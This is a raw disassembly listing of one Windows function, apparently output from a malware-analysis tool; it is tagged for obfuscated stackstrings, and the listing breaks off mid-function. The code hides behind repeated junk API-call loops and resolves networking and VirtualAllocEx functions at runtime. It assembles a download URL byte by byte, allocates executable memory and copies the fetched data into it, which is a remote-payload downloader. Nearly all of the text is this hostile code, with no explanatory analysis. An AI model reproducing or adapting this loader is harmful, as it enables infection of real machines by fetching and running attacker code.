Function at 0x401000
Capabilities:
Contain obfuscated stackstrings
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x554
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x403050
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0xffffffff
je 0x4010cf
mov dword [ebp - 0x10], 0
jmp 0x401048
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x186a0
jge 0x4010cf
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
test eax, eax
je 0x401094
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x40305c
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
test eax, eax
je 0x4010ca
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x40103f
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x403068
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0xffffffff
je 0x401195
mov dword [ebp - 0x14], 0
jmp 0x40110e
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 0x186a0
jge 0x401195
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
or eax, eax
je 0x40115a
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x403074
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
test eax, eax
je 0x401190
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x401105
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x88], 0
push str.wininet.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x403080
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0xffffffff
je 0x40128e
mov dword [ebp - 0x18], 0
jmp 0x401207
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], 0x186a0
jge 0x40128e
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
or eax, eax
je 0x401253
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x40308c
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
or eax, eax
je 0x401289
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x4011fe
push str.VirtualAllocEx
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x84], eax
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x403098
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0xffffffff
je 0x401371
mov dword [ebp - 0x1c], 0
jmp 0x4012ea
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x186a0
jge 0x401371
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
or eax, eax
je 0x401336
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x4030a4
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
test eax, eax
je 0x40136c
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x4012e1
push str.InternetReadFile
push str.wininet.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x98], eax
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x4030b0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0xffffffff
je 0x401454
mov dword [ebp - 0x20], 0
jmp 0x4013cd
mov ecx, dword [ebp - 0x20]
add ecx, 1
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], 0x186a0
jge 0x401454
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
or eax, eax
je 0x401419
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x4030bc
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
test eax, eax
je 0x40144f
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x4013c4
push str.InternetOpenUrlA
push str.wininet.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x90], eax
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x4030c8
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0xffffffff
je 0x401537
mov dword [ebp - 0x24], 0
jmp 0x4014b0
mov edx, dword [ebp - 0x24]
add edx, 1
mov dword [ebp - 0x24], edx
cmp dword [ebp - 0x24], 0x186a0
jge 0x401537
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
or eax, eax
je 0x4014fc
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x4030d4
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
test eax, eax
je 0x401532
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x4014a7
push str.InternetOpenA
push str.wininet.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x88], eax
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x4030e0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0xffffffff
je 0x40161a
mov dword [ebp - 0x28], 0
jmp 0x401593
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x186a0
jge 0x40161a
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
or eax, eax
je 0x4015df
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x4030ec
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
or eax, eax
je 0x401615
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x40158a
push 0x40
push 0x3000
push 0xa000
push 0
push 0xffffffffffffffff
call dword [ebp - 0x84]
mov dword [ebp - 0x9c], eax
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x4030f8
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0xffffffff
je 0x4016fc
mov dword [ebp - 0x2c], 0
jmp 0x401675
mov ecx, dword [ebp - 0x2c]
add ecx, 1
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x2c], 0x186a0
jge 0x4016fc
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
or eax, eax
je 0x4016c1
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x403104
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
or eax, eax
je 0x4016f7
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x40166c
push 0
push 0
push 0
push 0
push 0
call dword [ebp - 0x88]
mov dword [ebp - 0x8c], eax
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x403110
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0xffffffff
je 0x4017d8
mov dword [ebp - 0x30], 0
jmp 0x401751
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x30], edx
cmp dword [ebp - 0x30], 0x186a0
jge 0x4017d8
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
test eax, eax
je 0x40179d
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x40311c
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
test eax, eax
je 0x4017d3
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x401748
cmp dword [ebp - 0x8c], 0
je 0x4028c1
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x403128
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0xffffffff
je 0x4018ab
mov dword [ebp - 0x34], 0
jmp 0x401824
mov eax, dword [ebp - 0x34]
add eax, 1
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0x186a0
jge 0x4018ab
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
or eax, eax
je 0x401870
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x403134
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
test eax, eax
je 0x4018a6
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x40181b
mov dword [ebp - 0xc], 0
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x403140
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0xffffffff
je 0x401978
mov dword [ebp - 0x38], 0
jmp 0x4018f1
mov ecx, dword [ebp - 0x38]
add ecx, 1
mov dword [ebp - 0x38], ecx
cmp dword [ebp - 0x38], 0x186a0
jge 0x401978
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
test eax, eax
je 0x40193d
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x40314c
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
or eax, eax
je 0x401973
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x4018e8
mov byte [ebp - 0xe0], 0x68
mov byte [ebp - 0xdf], 0x74
mov byte [ebp - 0xde], 0x74
mov byte [ebp - 0xdd], 0x70
mov byte [ebp - 0xdc], 0x3a
mov byte [ebp - 0xdb], 0x2f
mov byte [ebp - 0xda], 0x2f
mov byte [ebp - 0xd9], 0x77
mov byte [ebp - 0xd8], 0x77
mov byte [ebp - 0xd7], 0x77
mov byte [ebp - 0xd6], 0x2e
mov byte [ebp - 0xd5], 0x6a
mov byte [ebp - 0xd4], 0x62
mov byte [ebp - 0xd3], 0x69
mov byte [ebp - 0xd2], 0x6e
mov byte [ebp - 0xd1], 0x65
mov byte [ebp - 0xd0], 0x77
mov byte [ebp - 0xcf], 0x73
mov byte [ebp - 0xce], 0x2e
mov byte [ebp - 0xcd], 0x63
mov byte [ebp - 0xcc], 0x6f
mov byte [ebp - 0xcb], 0x6d
mov byte [ebp - 0xca], 0x2f
mov byte [ebp - 0xc9], 0x64
mov byte [ebp - 0xc8], 0x61
mov byte [ebp - 0xc7], 0x74
mov byte [ebp - 0xc6], 0x61
mov byte [ebp - 0xc5], 0x2f
mov byte [ebp - 0xc4], 0x61
mov byte [ebp - 0xc3], 0x64
mov byte [ebp - 0xc2], 0x5f
mov byte [ebp - 0xc1], 0x30
mov byte [ebp - 0xc0], 0x31
mov byte [ebp - 0xbf], 0x2f
mov byte [ebp - 0xbe], 0x63
mov byte [ebp - 0xbd], 0x6f
mov byte [ebp - 0xbc], 0x64
mov byte [ebp - 0xbb], 0x30
mov byte [ebp - 0xba], 0x31
mov byte [ebp - 0xb9], 0
sub edx, edx
mov dword [ebp - 0xb8], edx
mov dword [ebp - 0xb4], edx
mov dword [ebp - 0xb0], edx
mov dword [ebp - 0xac], edx
mov dword [ebp - 0xa8], edx
mov dword [ebp - 0xa4], edx
mov byte [ebp - 0xa0], dl
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x403158
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0xffffffff
je 0x401b82
mov dword [ebp - 0x3c], 0
jmp 0x401afb
mov eax, dword [ebp - 0x3c]
add eax, 1
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x186a0
jge 0x401b82
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
test eax, eax
je 0x401b47
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x403164
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
or eax, eax
je 0x401b7d
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x401af2
push 0
push 0x4000000
push 0
push 0
lea ecx, [ebp - 0xe0]
push ecx
mov edx, dword [ebp - 0x8c]
push edx
call dword [ebp - 0x90]
mov dword [ebp - 0x94], eax
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x403170
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0xffffffff
je 0x401c6d
mov dword [ebp - 0x40], 0
jmp 0x401be6
mov eax, dword [ebp - 0x40]
add eax, 1
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x186a0
jge 0x401c6d
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
test eax, eax
je 0x401c32
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x40317c
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
or eax, eax
je 0x401c68
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x401bdd
cmp dword [ebp - 0x94], 0
je 0x402735
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x403188
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0xffffffff
je 0x401d40
mov dword [ebp - 0x44], 0
jmp 0x401cb9
mov ecx, dword [ebp - 0x44]
add ecx, 1
mov dword [ebp - 0x44], ecx
cmp dword [ebp - 0x44], 0x186a0
jge 0x401d40
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
test eax, eax
je 0x401d05
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x403194
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
or eax, eax
je 0x401d3b
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x401cb0
pushfd
xor edx, edx
inc edx
popfd
test edx, edx
je 0x4024ca
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x4031a0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0xffffffff
je 0x401e13
mov dword [ebp - 0x48], 0
jmp 0x401d8c
mov eax, dword [ebp - 0x48]
add eax, 1
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x186a0
jge 0x401e13
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
or eax, eax
je 0x401dd8
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x4031ac
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
test eax, eax
je 0x401e0e
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x401d83
mov dword [ebp - 8], 0
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x4031b8
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0xffffffff
je 0x401ee0
mov dword [ebp - 0x4c], 0
jmp 0x401e59
mov ecx, dword [ebp - 0x4c]
add ecx, 1
mov dword [ebp - 0x4c], ecx
cmp dword [ebp - 0x4c], 0x186a0
jge 0x401ee0
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
test eax, eax
je 0x401ea5
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x4031c4
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
or eax, eax
je 0x401edb
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x401e50
lea edx, [ebp - 8]
push edx
push 0x3ff
lea eax, [ebp - 0x554]
push eax
mov ecx, dword [ebp - 0x94]
push ecx
call dword [ebp - 0x98]
test eax, eax
je 0x4023fd
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x4031d0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0xffffffff
je 0x401fcb
mov dword [ebp - 0x50], 0
jmp 0x401f44
mov edx, dword [ebp - 0x50]
add edx, 1
mov dword [ebp - 0x50], edx
cmp dword [ebp - 0x50], 0x186a0
jge 0x401fcb
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
or eax, eax
je 0x401f90
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x4031dc
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
test eax, eax
je 0x401fc6
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x401f3b
cmp dword [ebp - 8], 0
je 0x402337
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x4031e8
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0xffffffff
je 0x40209b
mov dword [ebp - 0x54], 0
jmp 0x402014
mov eax, dword [ebp - 0x54]
add eax, 1
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0x186a0
jge 0x40209b
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
test eax, eax
je 0x402060
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x4031f4
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
test eax, eax
je 0x402096
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x40200b
mov dword [ebp - 4], 0
jmp 0x4020ad
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 8]
jae 0x40219d
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x403200
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0xffffffff
je 0x40217f
mov dword [ebp - 0x58], 0
jmp 0x4020f8
mov eax, dword [ebp - 0x58]
add eax, 1
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0x186a0
jge 0x40217f
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
test eax, eax
je 0x402144
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x40320c
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
or eax, eax
je 0x40217a
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x4020ef
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x9c]
mov eax, dword [ebp - 4]
mov al, byte [ebp + eax - 0x554]
mov byte [edx + ecx], al
jmp 0x4020a4
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x403218
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0xffffffff
